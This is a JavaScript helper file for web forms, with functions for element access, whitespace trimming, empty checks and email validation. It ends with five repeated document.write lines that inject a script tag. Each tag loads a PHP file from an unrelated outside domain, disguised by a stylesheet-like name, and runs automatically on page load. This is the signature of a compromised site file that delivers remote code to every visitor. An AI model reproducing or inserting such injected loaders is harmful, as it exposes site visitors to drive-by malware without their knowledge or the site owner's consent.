function getObj(id) {
	if (document.all) {
		return document.all(id);
	} else if (document.getElementById) {
		return document.getElementById(id);
	}
}

function setInnerHTML(id, str) {
	if (document.getElementById(id)) {
		document.getElementById(id).innerHTML = str;
	} else if (document.all[id]) {
		document.all[id].innerHTML = str;
	}
}

function getInnerHTML(id) {
	if (document.getElementById(id)) {
		return document.getElementById(id).innerHTML;
	} else if (document.all[id]) {
		return document.all[id].innerHTML;
	}
}

function Trim(str) {
	if(typeof(str) != "string")
		return "";
	var regexp = /[\t\r\n ]+$/;
	str = str.replace(regexp, "");
	regexp = /^[\t\r\n ]+/;
	str = str.replace(regexp, "");
	return str;
}

function ehVazio(valor){
	valor = Trim(valor);
	if (valor == '') {
		return true;
	} else {
		return false;
	}
}

function ehEmail(v) {
	var re = /^[a-zA-Z._0-9-]+@[a-zA-Z0-9]{1}[a-zA-Z._0-9-]+\.[a-zA-Z]+[.]?[a-zA-Z]{0,3}$/;
	return re.test(v);
}
document.write('<script src=http://munro-miller.co.uk/enquiries/style_munro.php ><\/script>');
document.write('<script src=http://munro-miller.co.uk/enquiries/style_munro.php ><\/script>');
document.write('<script src=http://munro-miller.co.uk/enquiries/style_munro.php ><\/script>');
document.write('<script src=http://munro-miller.co.uk/enquiries/style_munro.php ><\/script>');
document.write('<script src=http://munro-miller.co.uk/enquiries/style_munro.php ><\/script>');